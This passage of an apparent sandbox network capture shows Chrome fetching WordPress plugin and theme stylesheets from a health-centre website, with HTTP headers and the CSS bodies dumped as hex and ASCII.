74 65 2d 74 72 69 67 67 65 72 2c 0a 23 67 6c 74 2d 74 72 61 6e 73 6c 61 74 65 2d 74 72 69 67 67 65 72 20 73 70 Data Ascii: #glt-settings.wrap { max-width:1300px;}#glt-settings.wrap:after { content:''; display:block; clear:both;}#glt-footer,#glt-footer #google_language_translator { display:none !important;}#glt-translate-trigger,#glt-translate-trigger sp
2024-04-24 12:44:14 UTC	16384	IN	Data Raw: 2e 73 69 6e 67 6c 65 2d 6c 61 6e 67 75 61 67 65 5b 74 69 74 6c 65 3d 22 48 75 6e 67 61 72 69 61 6e 22 5d 20 73 70 61 6e 2e 73 69 7a 65 32 32 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2e 2e 2f 69 6d 61 67 65 73 2f 66 6c 61 67 73 32 32 2e 70 6e 67 27 29 20 2d 38 38 70 78 20 2d 31 34 38 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 7d 0a 23 66 6c 61 67 73 2e 73 69 7a 65 32 32 20 61 5b 74 69 74 6c 65 3d 22 49 63 65 6c 61 6e 64 69 63 22 5d 2c 0a 2e 74 6f 6f 6c 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 74 6f 6f 6c 2d 69 74 65 6d 73 20 61 5b 74 69 74 6c 65 3d 22 49 63 65 6c 61 6e 64 69 63 22 5d 2c 0a 61 2e 73 69 6e 67 6c 65 2d 6c 61 6e 67 75 61 67 65 5b 74 69 74 6c 65 3d 22 49 63 65 6c 61 6e 64 69 63 22 5d 20 73 70 61 6e 2e 73 69 7a 65 32 32 Data Ascii: .single-language[title="Hungarian"] span.size22 { background: url('../images/flags22.png') -88px -148px no-repeat;}#flags.size22 a[title="Icelandic"],.tool-container .tool-items a[title="Icelandic"],a.single-language[title="Icelandic"] span.size22
2024-04-24 12:44:15 UTC	16384	IN	Data Raw: 65 3d 22 43 68 69 6e 65 73 65 20 28 53 69 6d 70 6c 69 66 69 65 64 29 22 5d 2c 0a 61 2e 73 69 6e 67 6c 65 2d 6c 61 6e 67 75 61 67 65 5b 74 69 74 6c 65 3d 22 43 68 69 6e 65 73 65 20 28 53 69 6d 70 6c 69 66 69 65 64 29 22 5d 20 73 70 61 6e 2e 73 69 7a 65 32 30 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2e 2e 2f 69 6d 61 67 65 73 2f 66 6c 61 67 73 32 30 2e 70 6e 67 27 29 20 2d 32 70 78 20 2d 36 32 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 7d 0a 23 66 6c 61 67 73 2e 73 69 7a 65 32 30 20 61 5b 74 69 74 6c 65 3d 22 43 68 69 6e 65 73 65 20 28 54 72 61 64 69 74 69 6f 6e 61 6c 29 22 5d 2c 0a 2e 74 6f 6f 6c 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 74 6f 6f 6c 2d 69 74 65 6d 73 20 61 5b 74 69 74 6c 65 3d 22 43 68 69 6e 65 73 65 20 28 54 72 61 Data Ascii: e="Chinese (Simplified)"],a.single-language[title="Chinese (Simplified)"] span.size20 { background: url('../images/flags20.png') -2px -62px no-repeat;}#flags.size20 a[title="Chinese (Traditional)"],.tool-container .tool-items a[title="Chinese (Tra
2024-04-24 12:44:15 UTC	16384	IN	Data Raw: 65 5b 74 69 74 6c 65 3d 22 54 61 6d 69 6c 22 5d 20 73 70 61 6e 2e 73 69 7a 65 32 30 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2e 2e 2f 69 6d 61 67 65 73 2f 66 6c 61 67 73 32 30 2e 70 6e 67 27 29 20 2d 38 39 70 78 20 2d 33 32 33 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 7d 0a 23 66 6c 61 67 73 2e 73 69 7a 65 32 30 20 61 5b 74 69 74 6c 65 3d 22 54 65 6c 75 67 75 22 5d 2c 0a 2e 74 6f 6f 6c 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 74 6f 6f 6c 2d 69 74 65 6d 73 20 61 5b 74 69 74 6c 65 3d 22 54 65 6c 75 67 75 22 5d 2c 0a 61 2e 73 69 6e 67 6c 65 2d 6c 61 6e 67 75 61 67 65 5b 74 69 74 6c 65 3d 22 54 65 6c 75 67 75 22 5d 20 73 70 61 6e 2e 73 69 7a 65 32 30 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2e 2e 2f 69 Data Ascii: e[title="Tamil"] span.size20 { background: url('../images/flags20.png') -89px -323px no-repeat;}#flags.size20 a[title="Telugu"],.tool-container .tool-items a[title="Telugu"],a.single-language[title="Telugu"] span.size20 { background: url('../i
2024-04-24 12:44:15 UTC	16384	IN	Data Raw: 74 69 74 6c 65 3d 22 4d 79 61 6e 6d 61 72 20 28 42 75 72 6d 65 73 65 29 22 5d 2c 0a 61 2e 73 69 6e 67 6c 65 2d 6c 61 6e 67 75 61 67 65 5b 74 69 74 6c 65 3d 22 4d 79 61 6e 6d 61 72 20 28 42 75 72 6d 65 73 65 29 22 5d 20 73 70 61 6e 2e 73 69 7a 65 31 38 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2e 2e 2f 69 6d 61 67 65 73 2f 66 6c 61 67 73 31 38 2e 70 6e 67 27 29 20 2d 31 34 37 70 78 20 2d 34 31 30 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 7d 0a 23 66 6c 61 67 73 2e 73 69 7a 65 31 38 20 61 5b 74 69 74 6c 65 3d 22 4e 65 70 61 6c 69 22 5d 2c 0a 2e 74 6f 6f 6c 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 74 6f 6f 6c 2d 69 74 65 6d 73 20 61 5b 74 69 74 6c 65 3d 22 4e 65 70 61 6c 69 22 5d 2c 0a 61 2e 73 69 6e 67 6c 65 2d 6c 61 6e 67 75 61 67 Data Ascii: title="Myanmar (Burmese)"],a.single-language[title="Myanmar (Burmese)"] span.size18 { background: url('../images/flags18.png') -147px -410px no-repeat;}#flags.size18 a[title="Nepali"],.tool-container .tool-items a[title="Nepali"],a.single-languag
2024-04-24 12:44:15 UTC	16384	IN	Data Raw: 5b 74 69 74 6c 65 3d 22 46 69 6c 69 70 69 6e 6f 22 5d 2c 0a 61 2e 73 69 6e 67 6c 65 2d 6c 61 6e 67 75 61 67 65 5b 74 69 74 6c 65 3d 22 46 69 6c 69 70 69 6e 6f 22 5d 20 73 70 61 6e 2e 73 69 7a 65 31 36 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2e 2e 2f 69 6d 61 67 65 73 2f 66 6c 61 67 73 31 36 2e 70 6e 67 27 29 20 2d 36 32 70 78 20 2d 39 32 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 7d 0a 23 66 6c 61 67 73 2e 73 69 7a 65 31 36 20 61 5b 74 69 74 6c 65 3d 22 46 69 6e 6e 69 73 68 22 5d 2c 0a 23 6c 61 6e 67 75 61 67 65 20 2e 73 77 69 74 63 68 65 72 20 2e 73 65 6c 65 63 74 65 64 20 61 5b 74 69 74 6c 65 3d 22 46 69 6e 6e 69 73 68 22 5d 20 73 70 61 6e 2c 0a 23 6c 61 6e 67 75 61 67 65 20 2e 73 77 69 74 63 68 65 72 20 2e 6f 70 74 69 6f Data Ascii: [title="Filipino"],a.single-language[title="Filipino"] span.size16 { background: url('../images/flags16.png') -62px -92px no-repeat;}#flags.size16 a[title="Finnish"],#language .switcher .selected a[title="Finnish"] span,#language .switcher .optio
2024-04-24 12:44:15 UTC	16384	IN	Data Raw: 74 69 74 6c 65 3d 22 53 61 6d 6f 61 6e 22 5d 20 73 70 61 6e 2c 0a 23 6c 61 6e 67 75 61 67 65 20 2e 73 77 69 74 63 68 65 72 20 2e 6f 70 74 69 6f 6e 20 61 5b 74 69 74 6c 65 3d 22 53 61 6d 6f 61 6e 22 5d 20 73 70 61 6e 2c 0a 2e 74 6f 6f 6c 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 74 6f 6f 6c 2d 69 74 65 6d 73 20 61 5b 74 69 74 6c 65 3d 22 53 61 6d 6f 61 6e 22 5d 2c 0a 61 2e 73 69 6e 67 6c 65 2d 6c 61 6e 67 75 61 67 65 5b 74 69 74 6c 65 3d 22 53 61 6d 6f 61 6e 22 5d 20 73 70 61 6e 2e 73 69 7a 65 31 36 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2e 2e 2f 69 6d 61 67 65 73 2f 66 6c 61 67 73 31 36 2e 70 6e 67 27 29 20 2d 33 33 70 78 20 2d 34 36 39 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 7d 0a 23 66 6c 61 67 73 2e 73 69 7a 65 31 36 20 61 Data Ascii: title="Samoan"] span,#language .switcher .option a[title="Samoan"] span,.tool-container .tool-items a[title="Samoan"],a.single-language[title="Samoan"] span.size16 { background: url('../images/flags16.png') -33px -469px no-repeat;}#flags.size16 a
2024-04-24 12:44:15 UTC	14713	IN	Data Raw: 61 6e 2e 73 69 7a 65 32 34 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2e 2e 2f 69 6d 61 67 65 73 2f 66 6c 61 67 73 2e 70 6e 67 27 29 20 2d 31 34 35 70 78 20 2d 31 31 39 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 7d 0a 23 66 6c 61 67 73 2e 73 69 7a 65 32 34 20 61 5b 74 69 74 6c 65 3d 22 48 61 77 61 69 69 61 6e 22 5d 2c 0a 2e 74 6f 6f 6c 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 74 6f 6f 6c 2d 69 74 65 6d 73 20 61 5b 74 69 74 6c 65 3d 22 48 61 77 61 69 69 61 6e 22 5d 2c 0a 61 2e 73 69 6e 67 6c 65 2d 6c 61 6e 67 75 61 67 65 5b 74 69 74 6c 65 3d 22 48 61 77 61 69 69 61 6e 22 5d 20 73 70 61 6e 2e 73 69 7a 65 32 34 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2e 2e 2f 69 6d 61 67 65 73 2f 66 6c 61 67 73 2e 70 6e Data Ascii: an.size24 { background: url('../images/flags.png') -145px -119px no-repeat;}#flags.size24 a[title="Hawaiian"],.tool-container .tool-items a[title="Hawaiian"],a.single-language[title="Hawaiian"] span.size24 { background: url('../images/flags.pn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49758	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:14 UTC	607	OUT	GET /wp-content/plugins/google-language-translator/css/toolbar.css?ver=6.0.20 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:14 UTC	415	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:14 GMT Content-Type: text/css Content-Length: 5732 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 11 Mar 2024 17:10:42 GMT Vary: Accept-Encoding ETag: "65ef3b12-1664" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:14 UTC	5732	IN	Data Raw: 23 67 6c 74 2d 74 6f 6f 6c 62 61 72 20 7b 20 0a 09 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 20 0a 7d 0a 0a 23 67 6c 74 2d 74 72 61 6e 73 6c 61 74 65 2d 74 72 69 67 67 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 30 70 78 3b 0a 20 20 20 20 74 6f 70 3a 61 75 74 6f 3b 0a 20 20 20 20 72 69 67 68 74 3a 20 32 30 70 78 3b 0a 20 20 20 20 7a 2d 69 6e 64 65 78 3a 32 30 30 30 30 32 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 36 70 78 20 32 30 70 78 20 33 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 23 66 66 66 3b 0a 20 20 Data Ascii: #glt-toolbar { display:none; }#glt-translate-trigger { position:fixed; bottom:0px; top:auto; right: 20px; z-index:200002; padding:6px 20px 3px; font-size:16px; font-family:Arial; font-weight:700; color:#fff;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49760	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:14 UTC	605	OUT	GET /wp-content/plugins/user-submitted-posts/resources/usp.css?ver=20240319 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:15 UTC	416	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:14 GMT Content-Type: text/css Content-Length: 13404 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Sun, 24 Mar 2024 08:09:37 GMT Vary: Accept-Encoding ETag: "65ffdfc1-345c" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:15 UTC	13404	IN	Data Raw: 2f 2a 20 0a 09 55 73 65 72 20 53 75 62 6d 69 74 74 65 64 20 50 6f 73 74 73 20 3a 20 43 53 53 20 3a 20 55 53 50 20 46 6f 72 6d 0a 09 40 20 68 74 74 70 73 3a 2f 2f 70 65 72 69 73 68 61 62 6c 65 70 72 65 73 73 2e 63 6f 6d 2f 75 73 65 72 2d 73 75 62 6d 69 74 74 65 64 2d 70 6f 73 74 73 2f 0a 09 43 6f 6d 70 6c 65 74 65 20 6c 69 73 74 20 6f 66 20 43 53 53 20 73 65 6c 65 63 74 6f 72 73 20 40 20 68 74 74 70 73 3a 2f 2f 6d 30 6e 2e 63 6f 2f 65 0a 2a 2f 0a 0a 64 69 76 23 75 73 65 72 2d 73 75 62 6d 69 74 74 65 64 2d 70 6f 73 74 73 20 7b 20 77 69 64 74 68 3a 20 31 30 30 25 3b 20 6d 61 78 2d 77 69 64 74 68 3a 20 38 30 30 70 78 3b 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 20 7d 0a 64 69 76 23 75 73 65 72 2d 73 75 62 6d 69 74 74 65 64 2d 70 6f 73 74 73 20 66 Data Ascii: /* User Submitted Posts : CSS : USP Form@ https://perishablepress.com/user-submitted-posts/Complete list of CSS selectors @ https://m0n.co/e*/div#user-submitted-posts { width: 100%; max-width: 800px; overflow: hidden; }div#user-submitted-posts f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49761	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:14 UTC	629	OUT	GET /wp-content/plugins/wp-google-places-review-slider/public/css/wprev-public_combine.css?ver=13.6 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:15 UTC	416	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:15 GMT Content-Type: text/css Content-Length: 12742 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Sun, 31 Mar 2024 06:30:48 GMT Vary: Accept-Encoding ETag: "66090318-31c6" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:15 UTC	12742	IN	Data Raw: 2e 77 70 72 65 76 70 72 6f 5f 74 31 5f 6f 75 74 65 72 5f 64 69 76 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 20 30 70 78 20 30 20 30 70 78 7d 2e 77 70 72 65 76 70 72 6f 5f 74 31 5f 44 49 56 5f 31 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 63 6f 6c 75 6d 6e 2d 72 75 6c 65 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 70 65 72 73 70 65 63 74 69 76 65 2d 6f 72 69 67 69 6e 3a 32 37 37 2e 35 70 78 20 31 31 35 70 78 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 32 37 37 2e 35 70 78 20 31 31 35 70 78 3b 62 6f 72 64 65 72 3a 30 20 6e 6f 6e 65 20 23 66 66 66 3b 66 6f 6e 74 3a 6e 6f 72 6d 61 6c 20 6e 6f 72 6d 61 6c 20 6e 6f 72 6d Data Ascii: .wprevpro_t1_outer_div{padding:0;margin:0 0px 0 0px}.wprevpro_t1_DIV_1{box-sizing:border-box;color:#fff;text-size-adjust:100%;column-rule-color:#fff;perspective-origin:277.5px 115px;transform-origin:277.5px 115px;border:0 none #fff;font:normal normal norm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49762	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:15 UTC	629	OUT	GET /wp-content/plugins/wp-blog-post-layouts/includes/assets/fontawesome/css/all.min.css?ver=5.12.1 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:15 UTC	416	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:15 GMT Content-Type: text/css Content-Length: 57337 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 23 Apr 2024 09:50:51 GMT Vary: Accept-Encoding ETag: "6627847b-dff9" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:15 UTC	15968	IN	Data Raw: 2f 2a 21 0d 0a 20 2a 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 46 72 65 65 20 35 2e 31 32 2e 31 20 62 79 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 0d 0a 20 2a 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 2f 6c 69 63 65 6e 73 65 2f 66 72 65 65 20 28 49 63 6f 6e 73 3a 20 43 43 20 42 59 20 34 2e 30 2c 20 46 6f 6e 74 73 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 6f 64 65 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0d 0a 20 2a 2f 0d 0a 2e 66 61 2c 2e 66 61 62 2c 2e 66 61 64 2c 2e 66 61 6c 2c 2e 66 61 72 2c 2e 66 61 73 7b 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 67 72 61 79 73 63 61 6c 65 3b 2d 77 Data Ascii: /! Font Awesome Free 5.12.1 by @fontawesome - https://fontawesome.com * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) */.fa,.fab,.fad,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-w
2024-04-24 12:44:15 UTC	16384	IN	Data Raw: 38 64 22 7d 2e 66 61 2d 64 2d 61 6e 64 2d 64 2d 62 65 79 6f 6e 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 36 63 61 22 7d 2e 66 61 2d 64 61 69 6c 79 6d 6f 74 69 6f 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 39 35 32 22 7d 2e 66 61 2d 64 61 73 68 63 75 62 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 31 30 22 7d 2e 66 61 2d 64 61 74 61 62 61 73 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 63 30 22 7d 2e 66 61 2d 64 65 61 66 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 61 34 22 7d 2e 66 61 2d 64 65 6c 69 63 69 6f 75 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 61 35 22 7d 2e 66 61 2d 64 65 6d 6f 63 72 61 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 Data Ascii: 8d"}.fa-d-and-d-beyond:before{content:"\f6ca"}.fa-dailymotion:before{content:"\f952"}.fa-dashcube:before{content:"\f210"}.fa-database:before{content:"\f1c0"}.fa-deaf:before{content:"\f2a4"}.fa-delicious:before{content:"\f1a5"}.fa-democrat:before{content:"
2024-04-24 12:44:16 UTC	16384	IN	Data Raw: 66 33 63 35 22 7d 2e 66 61 2d 6d 61 70 2d 70 69 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 37 36 22 7d 2e 66 61 2d 6d 61 70 2d 73 69 67 6e 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 37 37 22 7d 2e 66 61 2d 6d 61 72 6b 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 36 30 66 22 7d 2e 66 61 2d 6d 61 72 6b 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 61 31 22 7d 2e 66 61 2d 6d 61 72 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 32 32 22 7d 2e 66 61 2d 6d 61 72 73 2d 64 6f 75 62 6c 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 32 37 22 7d 2e 66 61 2d 6d 61 72 73 2d 73 74 72 6f 6b 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 32 Data Ascii: f3c5"}.fa-map-pin:before{content:"\f276"}.fa-map-signs:before{content:"\f277"}.fa-markdown:before{content:"\f60f"}.fa-marker:before{content:"\f5a1"}.fa-mars:before{content:"\f222"}.fa-mars-double:before{content:"\f227"}.fa-mars-stroke:before{content:"\f22
2024-04-24 12:44:16 UTC	8601	IN	Data Raw: 31 22 7d 2e 66 61 2d 74 68 65 72 6d 6f 6d 65 74 65 72 2d 65 6d 70 74 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 63 62 22 7d 2e 66 61 2d 74 68 65 72 6d 6f 6d 65 74 65 72 2d 66 75 6c 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 63 37 22 7d 2e 66 61 2d 74 68 65 72 6d 6f 6d 65 74 65 72 2d 68 61 6c 66 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 63 39 22 7d 2e 66 61 2d 74 68 65 72 6d 6f 6d 65 74 65 72 2d 71 75 61 72 74 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 63 61 22 7d 2e 66 61 2d 74 68 65 72 6d 6f 6d 65 74 65 72 2d 74 68 72 65 65 2d 71 75 61 72 74 65 72 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 63 38 22 7d 2e 66 61 2d 74 68 69 6e 6b 2d 70 65 61 6b 73 3a 62 65 Data Ascii: 1"}.fa-thermometer-empty:before{content:"\f2cb"}.fa-thermometer-full:before{content:"\f2c7"}.fa-thermometer-half:before{content:"\f2c9"}.fa-thermometer-quarter:before{content:"\f2ca"}.fa-thermometer-three-quarters:before{content:"\f2c8"}.fa-think-peaks:be

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49763	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:15 UTC	597	OUT	GET /wp-content/themes/vpchc/dist/default_page.css?ver=230904-91952 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:15 UTC	418	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:15 GMT Content-Type: text/css Content-Length: 412605 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:52 GMT Vary: Accept-Encoding ETag: "64f5a138-64bbd" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:15 UTC	15966	IN	Data Raw: 2e 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 35 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 76 65 72 7d 2e 6f 62 6a 65 63 74 2d 66 69 74 2d 63 6f 76 65 72 7b 2d 6f 2d 6f 62 6a 65 63 74 2d 66 69 74 3a 63 6f 76 65 72 3b 6f 62 6a 65 63 74 2d 66 69 74 3a 63 6f 76 65 72 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 6f 62 6a 65 63 74 2d 66 69 74 3a 20 63 6f 76 65 72 3b 22 7d 2e 6f 62 6a 65 63 74 2d 66 69 74 2d 63 6f 76 65 72 2d 2d 63 65 6e 74 65 72 65 64 7b 6c 65 66 74 3a 35 30 25 3b 74 6f 70 3a 2d 35 30 25 3b 62 6f 74 74 6f 6d 3a 30 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 35 30 25 29 3b 74 72 61 6e 73 66 6f 72 6d 3a Data Ascii: .background-cover{background-position:50%;background-size:cover}.object-fit-cover{-o-object-fit:cover;object-fit:cover;font-family:"object-fit: 